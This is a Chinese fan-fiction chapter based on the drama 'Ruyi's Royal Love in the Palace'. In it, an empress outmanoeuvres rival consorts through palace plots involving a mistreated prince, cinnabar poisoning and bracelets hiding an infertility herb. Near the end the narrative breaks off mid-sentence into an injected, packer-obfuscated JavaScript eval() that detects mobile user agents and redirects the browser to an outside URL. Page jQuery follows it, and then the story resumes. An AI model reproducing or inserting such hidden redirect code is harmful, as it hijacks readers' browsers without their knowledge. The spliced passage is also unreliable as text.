《如懿传之不定期更新的同人文》 3. 富察琅嬅(2) 永璜、永链住进了阿哥所,景瑟进了公主所,只有永璋年纪尚小,还在纯嫔宫里养着。富察琅嬅让高晞月负责阿哥所、公主所的日常用度,省的她天天没事,在后宫里小学鸡吵架。 纯嫔知道儿子早晚也要去阿哥所,不仅提前与管事的高晞月亲近起来,还时不时的在富察琅嬅跟前打转,指望着富察琅嬅能开口,让她一起帮忙管理阿哥所。 富察琅嬅自然不可能让纯嫔沾手皇嗣的日常,纯嫔也就是智商不够,只能当打手,这宫里谁出事没有纯嫔的参与?纯嫔母子出事都有她自己的低智商在参与。 所以说,如懿与海兰,是苏绿筠的福报啊! 故而富察琅嬅只让苏绿筠帮着管理她所在的东六宫,特别要多多关照如懿与海兰所在的延禧宫。 “纯嫔与众姐妹都要好,尤其是与如懿妹妹。臣妾公务繁忙,生怕疏忽了如懿妹妹,便让纯嫔帮忙看顾下。可惜,太后如今对如懿妹妹还是不冷不热,臣妾不好直接让她管事,论资历,她比纯嫔要更适合协理宫务的。” 皇帝很满意皇后的安排,对颐气指使的太后不满在加深,这不满在大年初一达到了顶峰。 当太后提出贵子一说时,早有准备的富察琅嬅强笑道:“臣妾没有太后那般的福气,诞下了先帝登基后的第一个皇子。若太后思念儿女,便让諴亲王福晋带着弘瞻与恒媞入宫小住便是。” 众人听了贵子一说,本在意动,被富察琅嬅一提醒,不由想到,先帝的贵子都被过继了,实在看不出贵在哪里。而且,真要论起来,皇帝登基后的第一个皇子,也有可能是皇后当初小产的那个啊!太后这是在戳皇后的心啊! 太后面色铁青,她要让弘瞻给果郡王当儿子,结果皇帝死活不同意,下旨将其过继给了諴亲王,命孟静娴的儿子继承了果郡王的爵位。 皇帝却很满意,他自然是看出来富察琅嬅给了太后一个软钉子,这可都是为了他啊! 富察琅嬅也很满意,不就是道德资本吗,一泡猪血,就让皇帝主动、如懿被动承她的情,让太后吃闷亏。她可太喜欢这查不清楚、一道德资本多吃的好事了~ 有富察琅嬅在,什么大阿哥民主选养母,不存在的,都住在阿哥所了,还要什么养母?她常在皇帝跟前说,儿子大了,不敢与他多亲近,怕自己妇人之仁,耽误了皇子的教导,恳请皇帝多费心。 如懿派了惢心去接近大阿哥,立刻便有人去告诉高晞月,谁让贵妃娘娘出手大方呢。高晞月便去皇帝跟前告状:“娴嫔要是觉得臣妾对两位皇子不够好,只管向陛下与皇后说,偷偷摸摸的撺掇大阿哥做什么!” 皇帝被缠的不耐烦,口头训斥了如懿一番。如懿不甘心,又在生辰这天,提了追封李金桂的事,把皇帝气走了。 最后还是皇帝自己想了个两全其美的法子,追封了生母,又与太后稍微缓和了下关系。太后也是接连失利,不得不收敛锋芒,只让人暗地里寻摸高门贵女细细调教着。她此时还不知道白蕊姬已在皇帝跟前暴露了身份,只当白蕊姬太过嚣张,惹恼了皇帝。 如懿觉得这都是自己的功劳,在海兰与阿箬连番劝说下,主动与皇帝和好了,还觉得是皇帝先给了自己台阶下。 富察琅嬅怎么能看着如懿与皇帝甜甜蜜蜜呢,桂铎治水有功,富察琅嬅便向皇帝建议,封阿箬为嫔妃。 “阿箬是如懿妹妹的陪嫁,对如懿妹妹忠心耿耿,封个常在赐居延禧宫偏殿,于如懿妹妹而言,也是个助力。日后陛下想如懿妹妹了,去延禧宫也可打着看阿箬的幌子,省得太后因如懿妹妹太过得宠而针对她。本来,海常在是最好的人选,她与如懿妹妹交好,可惜她性子太文静内向,怕伺候不了陛下。” 来,让我亲手给如懿立一个挡箭牌,爱她就要冷落她,爱她就要宠幸挡箭牌为她分担火力。 皇帝犹豫了下:“怕如懿,要吃醋的。” 富察琅嬅笑道:“吃醋正常,心里惦记陛下,才会吃醋,臣妾也会吃醋呀。只是陛下封阿箬,既是为如懿妹妹着想,也是给如懿妹妹面子,臣妾身边的绮莹,侍奉陛下后才封了格格,阿箬可是还未侍寝便封了常在呢。” 皇后都如此贤惠了,皇帝自然顺坡下驴。自白蕊姬后,他身边还未进新人呢,选秀又不到时候,皇帝对着宫里的这些女人,已经有些看倦了。 只是皇帝肯定还是要先和如懿说过,才下旨意的,多少要给如懿个面子。如懿先不敢置信,然后才冷笑道:“臣妾倒不知道,陛下何时与阿箬看对眼了。怪不得阿箬最近穿得越发张扬了,原来是为了给陛下看。” 皇帝不高兴了,皇帝和如懿又又又又冷战了,大家都知道是因为皇帝要抬举阿箬的缘故。 富察琅嬅看事态发酵的差不多了,才和皇帝道:“都是臣妾思虑不周了,没想到如懿妹妹这般看重与陛下的情谊。可惜了阿箬,如今地位尴尬,不如让她先到臣妾身边做女官吧,对外说是臣妾要抬举她,让她嫁入富察家,皇帝不过是爱屋及乌,没有说清楚,让如懿妹妹误会了。” 皇帝道:“朕就是要抬举阿箬,又怎样?朕还要看娴嫔的脸色?” 富察琅嬅道:“陛下如今在气头上,便是宠幸了阿箬,来日与如懿妹妹和好了,又将阿箬置于何地呢?且如懿妹妹与阿箬主仆情深,阿箬若是知道陛下因为她与如懿妹妹起了嫌隙,怕是宁可自己去死的。” 皇帝叹道,不知第几次想着,如懿若是有皇后一半的贤惠体贴便好了。 阿箬以前没有少嘴过皇后,虽然都是在她们自己宫院里,但如今被调到皇后身边,还是免不了心虚。只是她知道自己没有别的出路了,如懿那肯定回不去了,就这么出宫又不甘心,便打定了主意要在皇后跟前好好表现,毕竟富察家男丁兴旺,她希望皇后给自己定的未来夫婿越出色越好。 阿箬本就是个美人坯子,在如懿身边不敢打扮。之前因为阿玛升官,穿的稍微鲜亮了点,都要被如懿说。 到了皇后宫里,皇后喜欢看美人,不光常来说话的高晞月、金玉研,连她们几个身边的宫女,都常赏了好看的衣服首饰。阿箬不几日便焕然一新,被巧手的茉心换了个发型,更趁着人比花娇。 “哎呀,真是便宜我家那些舞刀弄枪的小子了。”富察琅嬅感慨道。 金玉研道:“皇后娘娘真是有了新人便忘了旧人,前几日还说莲心是宫女中姿色最出众的呢,刚给她做了好几身新衣裳,如今都还未上身,皇后娘娘的眼睛便落到别人身上了。” 富察琅嬅打量了一番金玉研身边的贞淑道:“其实,你身边的贞淑模样也不错,就是打扮太稳重了些。本宫这有几身天罗金纱织的衣服,未穿过几次,便赏给贞淑吧。” 高晞月笑道:“谁让嘉贵人爱吃醋,可怜贞淑绮年玉貌,整日穿的这般低调。” 富察琅嬅道:“本宫也不是厚此薄彼的人,你们身边跟得久的宫女,想要什么恩典,只管说,富察家别的不多,就是未婚的小子多。” 金玉研生怕富察琅嬅要给贞淑赐婚,忙道:“贞淑才不嫁呢,她说了,要在嫔妾身边一辈子的。” 贞淑也忙表态,富察琅嬅道:“富察家虽在京城,与本宫只隔着一道宫墙,本宫还常常思念家里,更何况你们二人从玉氏背井离乡、千里迢迢来到大清呢。这么多年,说是相依为命也不为过了。” 这话说得众人都伤感起来,金玉研在外面从来都是戴着假面,此刻也不免真情实感红了眼睛。 富察琅嬅看着高晞月道:“本宫今日多给玉研一些赏赐,晞月你不会吃醋吧?” 高晞月道:“有娘娘这句话,臣妾吃什么醋,娘娘给臣妾的好东西还少了?” 金玉研谢恩道:“皇后娘娘待嫔妾这样好,嫔妾感激涕零。” 富察琅嬅满意地笑了,我如此宽和待下,你若还不知足,在我管辖的后宫里搞事情,众人有多厌弃你,就有多心疼我。就像她如今对如懿这般好,皇帝已经渐渐不满如懿在他跟前嘴皇后了,哪怕他心知肚明皇后绝对不会是真的大度贤良真的是对如懿好,但是皇后面子功夫做的好啊! 这面子功夫要是能做一辈子,和真的又有什么两样? 啊,道德资本,你可真是个好东西。 嫔妃来长春宫请安时,阿箬是从不在皇后跟前伺候的,就是省得这对旧主仆尴尬。所以如懿一直不知道阿箬如今美貌程度已翻倍,让皇帝连连可惜,自己当初没有强硬一点纳了她,反而便宜了富察家。 皇帝心里越遗憾,对着如懿越不满,更加不肯先向如懿服软了。 如懿与皇帝一如既往冷战着,富察琅嬅在如懿跟前摆足了正妻姿态,劝她与皇帝和好,道:“陛下喜欢你,本宫也将你当小妹妹看,只是如懿妹妹,你也不能总这么任性啊?当日封你为嫔,就是为了堵太后的嘴。本宫与陛下都想着,等你有了身孕,无论是阿哥还是公主,都要为你晋位。现在陛下不来,你也不去,是打算在嫔位呆一辈子吗?” 如懿宁可富察琅嬅斥责她,她还可安慰自己富察琅嬅是嫉妒自己失了分寸。可富察琅嬅这般大度贤惠,好像她才是与弘历夫妻一体,那自己又算什么呢? 而且子嗣可是如懿心里永远的痛,被儿女双全的富察琅嬅这般说,如懿几乎要控制不住表情了。 “封嫔封妃,只要是陛下的意思,臣妾就没有怨言。臣妾求的从来不是位份,而是情分!”如懿生硬道。 “那本宫这就把你贬为答应,你也没有怨言吗?”富察琅嬅故意道。 如懿眨巴眨巴眼,道:“臣妾,是陛下亲封的娴嫔,皇后娘娘没有资格贬臣妾的位份。” 这话如懿还真说对了,皇后只能决定嫔位以下嫔妃的升与贬,一宫主位可不是白说的,那要皇帝点头。 “本宫和你说笑呢,如懿妹妹倒认真上了,你这性子,怪不得皇帝总惦记你,生怕你吃亏了。”富察琅嬅温柔笑道。 如懿再也受不了富察琅嬅在她跟摆正妻架子了,起身告辞了。 今天也是膈应到如懿的一天,富察琅嬅心情大好,将今日的账册看完,便见高晞月面带不满的进来了,身边还跟着阿箬。 富察琅嬅一问,才知道高晞月发现大阿哥身边的李嬷嬷故意不让大阿哥吃饱穿暖,导致大阿哥今年年初就连着病了两场。她本要立刻处置了这奴才,却被来给阿哥们送吃食的阿箬拦住了。 阿箬道:“李嬷嬷是大阿哥的奶嬷嬷,大阿哥日后出宫建府,是可以将李嬷嬷接去养老的,大阿哥可是她下半辈子的保障啊。且大阿哥是陛下长子,无论是陛下,还是皇后、贵妃娘娘,都常过问,李嬷嬷怠慢大阿哥,难道就不怕发现吗?” 见贵妃听进去了,阿箬继续道:“这奴才要么是猪油蒙了心,奔着不要命去, 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贵妃眼里满是要抓太后小辫子的兴奋感,阿箬则觉得自己终于盼来了在皇后跟前立下一大功的机会,再加上富察琅嬅故作神秘的样子,让她们有种在做大事的刺激感。 贵妃与阿箬兴冲冲去了,早出晚归好几日,把与李嬷嬷接头的素练给堵住了。 看着素练正在给李嬷嬷塞钱的手,耳边回想着素练吩咐李嬷嬷勾着大阿哥学坏的话,贵妃傻了,阿箬呆了,素练暗道坏了,李嬷嬷心想,这不都自己人吗。 还是阿箬先反应过来,若素练真是奉了皇后的命令,那皇后何必多此一举让她们俩来捉赃呢?皇后吃饱了撑的吗? 难道,素练被太后收买了?!阿箬且惊且喜,那这功劳,自己可立得更大了!说不定,当日皇后小产,也是素练给太后通风报信,不然怎么会那么巧! 阿箬当机立断,让贵妃不要露相,安抚住素练与李嬷嬷,只说皇后有话要问李嬷嬷,好歹把这三人安安稳稳地带进了长春宫。等进了皇后的地盘,出什么事,都好解决了。 在一番牛头不对马嘴后,贵妃终于反应过来,竟然真的是素练指使李嬷嬷虐待大阿哥,而皇后完全不知情。 阿箬也遗憾地发现,素练竟然不是太后的人。素练怎么能不是太后的人呢!这锅最后不还是要皇后来背! 至于李嬷嬷,终于发现自己一直被素练骗的团团转,悔得肠子都青了。她可是看在皇后与富察家,才会苛待大阿哥啊!如今素练给她画的饼,全泡汤了! 富察琅嬅从不敢置信到震怒,到伤心,最后要去皇帝跟前请罪,被几人死活拦住了。这事要是闹到皇帝跟前,素练、李嬷嬷都要没命。而这两人也终于后知后觉的意识到,自己一直干的是要掉脑袋的事了。 最后素练被送回了富察家,说是要嫁人了。李嬷嬷以伺候不周为由,被贵妃做主打发了,另换了一批新人伺候大阿哥。 阿箬收了皇后与贵妃两份厚赏,目的基本达成,可惜离预期还有些距离。 富察琅嬅对着高晞月垂泪,道:“我是真没想到,素练,她是从小跟着我的啊!她怎么能背着我,做出这样的事?她是我的心腹啊,谁会信我不知情?” “我信啊!我信!”高晞月忙道,“我知道,你不是那样的人!连如懿你都忍,更何况永璜!” 诡异的很有道理呢。富察琅嬅险些破功,用帕子捂住脸平复了下,才继续对高晞月演道:“幸好,这事是被你发现,也幸好永璜还没有受太多的磋磨。是我太没用了,连心腹丫鬟都看不清,再这样糊涂下去,哪日被人害了都不晓得。” 平日里都是高晞月惹祸,富察琅嬅出面摆平,这还是头一次富察琅嬅出了岔子,高晞月摆平。尤其是见着富察琅嬅不同往日、脆弱的一面,高晞月只觉得自己今日终于压了富察琅嬅一头了,心里说不出的满足和心疼。 “都是你太心善了,不知道人还可以这样坏。” 你可要记住这句话哦,我可是非常心善的皇后娘娘。可别辜负了我特地留着素练,又让你去负责阿哥所的苦心哦! 皇后早就说过要给身边的这几个大宫女赐婚,莲心也已定了人家,只等年满二十五便出宫成亲。王钦本就对莲心垂涎不已,后面又来了个更加貌美的阿箬,可惜都是看得见吃不着,只能暗自惦记,越发频繁的揽下来长春宫跑腿的活。 莲心面皮薄,被王钦吃过几次豆腐,也不敢声张,王钦不由得变本加厉起来。 素练走后,莲心在富察琅嬅跟前的时候变多,很快就被她发觉出莲心的不对劲来。富察琅嬅便对阿箬道:“本宫已为你选好了亲事,并向陛下提议,为你抬旗,让你风风光光嫁入富察家。” 阿箬大喜,跪下谢恩,富察琅嬅道:“只是,你要为本宫做一件事。” 阿箬生怕自己上不了皇后这艘大船,只要不是去杀皇帝与太后,便是富察琅嬅让她去杀如懿,她也敢去试一试! 富察琅嬅很满意阿箬的觉悟,好出路,是靠自己搏出来的! “打断王钦的腿,做得隐秘点。” 阿箬立刻传信给索绰罗家,索绰罗家收到信的当天晚上,就翻墙进去,将在宫外宅子里过夜的王钦两条腿都打断了。生怕王钦腿断的慢了,皇后娘娘便改主意了。 富察琅嬅惊讶于索绰罗家的效率,随即想起来,这可是乌拉那拉家的包衣,常年帮宜修干脏活的。 很好,现在是我的人。 4. 富察琅嬅(3) 阿箬风风光光出宫待嫁去了,如懿甚至都没有来送贺礼,一点面子工程都不做了。 富察琅嬅这才想起来,如懿与皇帝至今都没和好呢。而在纯靠勤奋、能力一般的苏绿筠的照拂下,秦立一日既往苛待着延禧宫上下,并且油滑的不让苏绿筠拿到一点错处。 苏绿筠愣是一直没有和皇后告状,生怕被皇后发现自己的无能,不肯松口让她插手阿哥所的事了。 所以海兰记恨上了苏绿筠,她劝不动如懿去向皇帝低头,去告秦立的状,只能怨恨苏绿筠放任秦立苛待姐姐。 苏绿筠自然没看出海兰对自己的不满,还时不时从自己的份例匀一点东西给延禧宫,生怕如懿受不了了,去向帝后诉苦,导致自己的无能被发现。 “纯嫔自己的份例可从无短缺,秦立为何从不苛待她,只苛待延禧宫?我看她就是假好人,其实心里嫉妒姐姐与陛下的情谊,故意磋磨姐姐。” 如懿道:“绿筠不是那样的人,你不要说了,她想必是有苦衷的。” 海兰叹道:“姐姐就是将人都想得太好了。” 所以,只能靠我了! 三阿哥病了,苏绿筠忙着照顾儿子,顾不上东六宫的宫务了。富察琅嬅便顺势将宫务揽了回来,敲打了一番秦立,延禧宫的待遇立刻恢复了正常。 这下如懿也不替苏绿筠说话了,海兰心里更恨苏绿筠了,在她频频探望下,三阿哥病的更重了。 仪贵人被诊断出有身孕的那天,三阿哥夭折了。 苏绿筠几乎要哭昏过去,海兰心道,我不过是小小的惩治一下你,我可没想着要害死三阿哥,谁知三阿哥身体那么弱!都怪你,你对姐姐不好,当娘的作恶就要报应到孩子的身上! 富察琅嬅安抚着苏绿筠,对如懿和海兰道:“你们平日里与绿筠交好,如今绿筠伤心,你们可要常来开解她。” 苏绿筠如今伤心欲绝,没空去找你们,你们可一定要来找她哦!你们,可是苏绿筠的福报呢! 皇帝膝下就三个儿子,如今没了一个,哪怕不信什么贵子的说法,对仪贵人这胎却依然很看重。金玉研看在眼里,想着甭管什么贵子不贵子,皇帝儿子越少,自己的儿子便越有机会,仪贵人这胎不能留。 如今高晞月一心扑在阿哥所与公主所,她认定了常和孩子接触,便能给自己带来子嗣缘。事业心的女人不听任何挑唆,金玉研撺掇不动她,皇后身边的素练又被打发回家了,金玉研便只有如懿这一个黑锅人选了。 这日在请安时,金玉研特地将话题引到孕妇的饮食上。 富察琅嬅回忆了番,道:“太寒凉辛辣的不能吃,其他好像没了。哦对了,不能吃太多,到时候胎儿太大,怕会难产。” 一直沉默着的苏绿筠突然抬头,道:“吃鱼虾,孩子会更聪明些。” 金玉研愣了下,没想到苏绿筠会突然给自己助攻,不由看了对方一眼。苏绿筠冲仪贵人扯出一丝笑意来:“其实,孩子只要健健康康的,聪不聪明的,不强求。” 仪贵人忙道:“多谢纯嫔姐姐关心。” 苏绿筠心想,鱼虾一股腥味,不多用调料,孕妇闻了就会想吐,用多了会加重孕吐反应。但多用调料,又容易导致孕妇上火便秘。只是一般人吃着身体不适了,自然会换其他的吃。若是不换,拼着身体的不适也要继续食用,那便是自己蠢死的,与我无关。 仪贵人自然能蠢到死的,但是富察琅嬅不能容忍这么智障的局在自己的眼皮子底下进行下去。所以在仪贵人刚刚出现不适反应时,便让太医给她诊治,并将屋里的东西都细细检查一番。 太医很快发现炭盆中有朱砂的痕迹,随即在仪贵人用剩的午膳中发现了含有朱砂的鱼虾。 富察琅嬅大怒,安抚了仪贵人一番,带着太医去向皇帝告状。 “自仪贵人有孕,陛下便常去景阳宫,那朱砂怕陛下也吸入不少,太医,快,给陛下诊脉,看他体内有无朱砂毒素!” 在富察琅嬅的提醒下,皇帝终于意识到这不仅仅是戕害自己的嫔妃与子嗣了,这也是在戕害他啊! 富察琅嬅一下子把这事的严重程度提到最高,就差明着说下毒之人要弑君了。 皇帝对此事的重视程度直线上升,让皇后搜查后宫,很快便查到了经手的人。 后宫三巨头并所有嫔妃都乌泱泱齐聚长春宫,仪贵人因为胎不稳,富察琅嬅不肯让她来。皇帝亲自审问小福子、小禄子与小安子,三人都指向了如懿,小禄子甚至撞了墙,以死证明证言的真实。 皇帝道:“三个奴才的证词,不能作数!朕相信娴嫔!” 太后反驳道:“谁会用命去冤枉别人?何况还有那沾了沉水香的朱砂,就在娴嫔的妆台匣子里!” 富察琅嬅道:“这沉水香又不是什么稀罕物,宫里只有娴嫔喜欢用,又不代表只有娴嫔能用,那妆台匣子连个锁都没有,若真要害人,难道不该放得更隐蔽些? 小福子,你说娴嫔以你兄弟性命为威胁,让你替她做事,可谋害陛下与皇嗣,是要诛九族的,你和你兄弟的命照样不保。” 小福子支支吾吾道:“奴才,奴才是被逼的没法了!只盼着和我那苦命的兄弟,能活一天是一天了。” 富察琅嬅继续道:“小安子,你说娴嫔向你讨要朱砂,可本宫查过记档,根本没有你说的这项支出。” 小安子脱口道:“不可能!那是奴才亲自写的!” 富察琅嬅道:“本宫诈你呢。记档上是有这项支出,只是那天娴嫔一整天都长春宫,宫门快落钥了才离开,根本不可能去内务府找你要东西。” 小安子强行找借口道:“那是奴才记错了日子,那记档是奴才后面补的,奴才怕入账支出对不上!” 富察琅嬅道:“哦,本宫还是在诈你,一个多月前的事,本宫哪里记得住娴嫔在哪,在做什么。” 皇帝怒道:“你这奴才,满口谎话!拉下去,严刑拷问,必要他吐出真话来!” 富察琅嬅补充道:“这个小福子,连他兄弟一起,都打入慎刑司。还有这三个太监的家里,也都要好好搜查审问一番。” 她看着已经一滩烂泥的两人,道:“这是诛九族的罪名,你们,以及你们的家人,都死定了。” 小福子猛地往前蹿了一蹿,道:“是嘉贵人!是嘉贵人!” 金玉研立刻跪下喊冤:“陛下,这奴才死到临头,胡乱攀扯,先是娴嫔,再是臣妾!” 富察琅嬅对皇帝道:“先让慎刑司审问吧,分开来挨个审,不怕他们不吐口。至于嘉贵人,暂时禁足。” 她又看向至今都状况外的如懿,恨铁不成钢道:“你的寝殿都能让人摸进去放了东西,哪天你脑袋搬家了,本宫都不奇怪!” 如懿委屈道:“皇后娘娘这样说臣妾,臣妾,百口莫辩。” “那就不用辩了,横竖皇后都替你辩完了。”皇帝没好气道。 高晞月眼睛亮晶晶看着皇后,非常不会看气氛的来了句:“皇后娘娘好聪明,问得那刁奴哑口无言!” 对比皇帝的“我不信我不信我不信”,以及如懿的“百口莫辩”,富察琅嬅都成了审案的高手了。 富察琅嬅看了一眼高晞月手上的镯子,看在对方今日正好带了它的份上,再为大家唱一出大戏吧,也不枉今日这么多人整整齐齐的。 太后冷眼看着皇后出尽风头,不欲继续留在这里。她要走,所有人都跟着起身恭送,富察琅嬅一个没站稳,高晞月忙上前扶住她,被她顺手将那镯子撸到了地上。 富察琅嬅使出了十成十的力气,那镯子不负众望摔裂开了,黑色的小药丸蹦的到处都是。 这下太后也不走了,皇帝一个眼神,一旁作证的太医立刻上前捻了一粒细细闻着,道:“是零陵香,长久接触,会导致女子不孕。” 富察琅嬅比高晞月还快了一步,倒吸一口气,无比震惊的看向太后:“可那是太后……” 仿佛意识到自己在指证什么般,富察琅嬅迅速低下头,不敢置信道:“怎么会。” 然后便柔弱地靠着高晞月,作虚弱状。高晞月动不了,只能眼神示意星璇,星璇一个箭步冲到一脸懵懂的如懿跟前,道了句:“得罪了!” 便将那镯子摘了下来,在地上用力一砸。太医仿佛流水线接力一般,迅速捡了一颗,闻了闻,断定道:“零陵香。” 太后危险地眯了眯眼,道:“皇后怎么不继续说了?你是要说,哀家给皇帝的嫔妃避孕?” 太后这样打直球,皇帝自然不能承认,道:“皇后不是这个意思,皇额娘这样说,实在令儿臣惶恐。” 此时,所与人都不约而同地想起皇后的那次小产。 太后闭目,这屎盆子,是扣在她头上,下不来了! 富察琅嬅命太医为高晞月与如懿诊断,焦急道:“她们二人还能生育吗?” 两人也眼巴巴看着太医,太医被看得头大,道:“好好调养,还是能生的!” 高晞月长舒一口气,险些瘫坐椅子上。海兰则越过众人,走到如懿身边轻轻搂着对方,泪眼婆娑,反而如懿本人还是那副呆呆的样子。 富察琅嬅这才松了口气,轻声道:“这镯子,这些年经手了那么多人,谁都有可能动手脚。太后怎会在自己赏赐的东西里做手脚,也太容易被人发现了。” 皇帝道:“查,查这零陵香的来源,查这镯子经手的人!” 他心知是查不出什么的,都这么多年了,只是做做样子,安抚一番众人。他生怕真的查出是太后,乌拉那拉家是没人了,但是高斌可刚进军机处呢。 皇后替太后开脱,太后却不肯放过皇后,道:“皇后刚才怎么就站不稳了?就这么凑巧,当着这么多人的面,把那镯子里的零陵香给摔出来了?” 富察琅嬅似没想到太后会怀疑自己,怔怔的,完全没了刚出伶牙俐齿的样子。反而是高晞月忍不住了,支棱起来道:“太后娘娘冤枉皇后娘娘了,皇后娘娘自得知有人用朱砂谋害陛下,一晚上没有睡,连夜抓人审人,翻阅内务府的记档,铁打的人也熬不住啊!” 太后冷哼一声,其他人都不敢说话,连呼吸声都不敢太重,生怕被搅进这摊浑水里。反而是坐在最末端的玫答应眼神暗含兴奋,仗着没人关注自己,打量着前面所有人的神色。 众人草草的散了,富察琅嬅与高晞月跟着皇帝去了养心殿。 “那镯子,本是太后给臣妾的,结果被臣妾转赠了两位妹妹。两位妹妹,是代臣妾受过,臣妾,对不住你们啊!这些年,臣妾儿女双全,两位妹妹却膝下空空,臣妾,真恨不得以死谢罪了。”富察琅嬅哭道。 高晞月也跟着哭:“臣妾这些年,坐胎药喝了许多,各路神佛都拜过,却没想到,没想到竟是那镯子的缘故!” 皇帝被哭的心烦,这镯子若真让皇后戴了,他可就没有聪明早慧的嫡子了!这人是诚心不让他有嫡子啊! 富察琅嬅看皇帝那样子,就知道他逃避型人格又上线了,零陵香只害女人,又不像朱砂连皇帝都会受害,他如今只是在烦恼如何安抚高斌与富察家而已。 于是富察琅嬅贤惠地为皇帝排忧解难了。 “说来,这镯子,虽说是太后赏的,可那时候的后宫却还是景仁宫那位娘娘管着呢。” 高晞月顿悟了:“对啊,景仁宫娘娘最擅长的不就是绝育打胎?太后当年那般得宠,子嗣又多,可是景仁宫娘娘的眼中钉、肉中刺!” 富察琅嬅叹道:“可怜如懿妹妹,被自己姑母连累了。” 将这黑锅推到一个掀不起任何浪花的死人身上,皇帝满意了,在还未开始查之前,就已经给零陵香事件定了结论。 延禧宫中,海兰眼泪汪汪劝着如懿:“姐姐,你别难过,太医说了,你还能生的。” 如懿急着找一个背锅的人,道:“便是太后赏的,但到底在皇后手里待了一段时间,皇后也很可疑!我看,她今日就是故意的,既让我与贵妃多年不孕,又狠狠的下了太后的脸面,一箭三雕,好精明的手段。” 想到这里,如懿再坐不住,立刻动身去了养心殿,也不管殿中还有富察琅嬅与高晞月,直接向皇帝说了自己对富察琅嬅的怀疑。 高晞月又忍不住小学鸡吵架了。 “你怀疑皇后,本宫还怀疑你的好姑母呢!皇后自嫁给陛下,后院里有大阿哥、三阿哥降生,她连庶长子都能容下,更何况你我的孩子!” “可是大阿哥生母难产而亡,三阿哥,刚刚夭折了。”如懿冷冷道。 皇帝被说的刚起了疑心,富察琅嬅便幽幽道:“娴嫔,现在怎么不百口莫辩了。” 皇帝的疑心一下子又给到了如懿,如懿被指责谋害皇帝,都不在状况内的百口莫辩,还要靠自己与皇后为她辩护。如今指责皇后,突然战斗力就这么强了。 富察琅嬅制止高晞月的小学鸡发言,道:“哲妃怀第二胎时,嘉贵人常去寻她说话,陪她用膳。三阿哥生病时,不在一宫的海常在几乎日日去探望,可本宫从未怀疑过嘉贵人与海常在。女子生产本就是鬼门关,幼子夭折也不罕见,本宫亦夭折过一个女儿,还小产过一次。若只要有女子、孩子去世,便疑心是有人害死的,那这日子也不要过了。” 高晞月突然机灵了下,道:“鱼虾!是纯嫔,纯嫔说孕妇要多吃鱼虾,孩子才会聪明!” 富察琅嬅迟疑了番,道:“仪贵人的确顿顿都吃鱼虾,不会吧,她不会真的信了吧?本宫早就说过,饮食要适量啊!” 皇帝头越来越疼了,自如懿、金玉研外,又一个嫔妃被卷入朱砂案了。 如懿道:“不会的,绿筠不是这样的人。” 但再多的话她就不会说了,这是类百口莫辩状态,和皇帝的“我不信我不信我不信”状态一样。 皇帝见状,更加觉得如懿只在针对皇后这件事上口齿伶俐。 在高晞月、如懿的助攻下,苏绿筠也喜提禁足,和金玉研一样,事情没查清楚之前,不可外出。 至于如懿本人,自请禁足,一时间宫里三个嫔妃禁足,婉答应被迫与主位娘娘一同禁足,海兰自愿与主位娘娘一同禁足。 富察琅嬅对皇帝道:“陛下放心,在没有真凭实据之前,臣妾不会短了她们用度。尤其是如懿妹妹,这次真是受了大委屈。” 皇帝本就不多的心疼便消失了,他现在焦头烂额的事太多,根本没空惦记如懿。忙好啊,忙点好,你看高晞月忙起来也不惦记害人和小学鸡吵架了,皇帝忙起来也不惦记和如懿墙头马上,你放心我心疼了。 富察琅嬅心想,有我富察琅嬅在,如懿你别想进冷宫,道德资本,只有我才可以拥有! 有富察琅嬅帮忙,皇帝又真的上了心,朱砂案很快就查清了。 金玉研本要被赐死,偏又被诊出怀了身孕,便被贬为答应,继续禁足启祥宫,只等生下孩子再赐死。 苏绿筠虽没参与,但没有她那句话,仪贵人也不会吃那么多鱼虾。所以她被褫夺封号,贬为了贵人。 仪贵人,皇帝嫌她蠢,吃了那么多朱砂也不知会不会影响到孩子,正犹豫着要不要留这个孩子时,仪贵人因情绪过于激动早产了,孩子还不到六个月,生下来叫了两声就没气了。 仪贵人为此大受打击,见这孩子连序齿都没有,皇帝也压根不来看她,知道自己是彻底被厌弃了。她只觉活着没了盼头,很快便因为产后失调,去世了。 至于如懿,折腾半天,怜惜没收获多少,唯一捞到的好处是去掉了零陵香,有机会怀孕了。 她还不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266225|166580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇帝已经将宜修定为了零陵香案的罪魁祸首,几次三番追问皇帝结果,指责他是不是在替某人遮掩。 皇帝怒了,这又不是什么很光彩的事,更不是什么经得起细查的事,他只告诉了高斌与富察家,想将此事的影响降到最低,偏如懿一而再再而三的提起,生怕大家不知道。 皇帝吼道:“是,朕是在替人遮掩,那个人就是你!那零陵香是你的好姑母放的,就是为了给太后绝育!谁知阴差阳错害了你!朕看最无辜的是贵妃,至于你,是乌拉那拉氏自作孽,报应到了她的侄女身上!” “不,不可能是姑母,臣妾不相信,姑母不是这样的人。” 皇帝冷笑,宜修是什么人,他可比如懿清楚多了。 他不欲再与如懿说话,也暂时不想进后宫。这些女人,不是蠢,就是毒。贵妃与皇后还好,但是他见着又会心虚。 皇帝迫切的需要新人的安抚,只可惜前线在打仗,选秀只能草草的办了一场,主要是为了让攒了好几年的秀女能自行婚配,不然一直这样拖着,都拖成老姑娘了。 这回太后学乖了,没有亲自出面举荐,意欢与陆沐萍都参加了选秀,结果都没入选。太后不出面又怎样,有了白蕊姬的前车之鉴,又有富察琅嬅在旁递消息,皇帝自然知道了这两人与太后的关系。 莲心出嫁后,富察琅嬅把魏嬿婉调到了长春宫。高晞月一见魏嬿婉貌美,就知道皇后娘娘又馋美人了。 “这丫头,倒比新入宫的那两人还标志些。” 富察琅嬅屏退众人,对高晞月道:“我实话和你说,这丫头,我是替陛下选的。自那次小产后,我这身子就不大好,不仅难有子嗣,也不方便侍奉陛下了。” 其实是因为不想和狗男人睡,她实在嫌弃皇帝及其后宫其他女人的平均智商,生怕把自己本就不是很高的智商同化了。 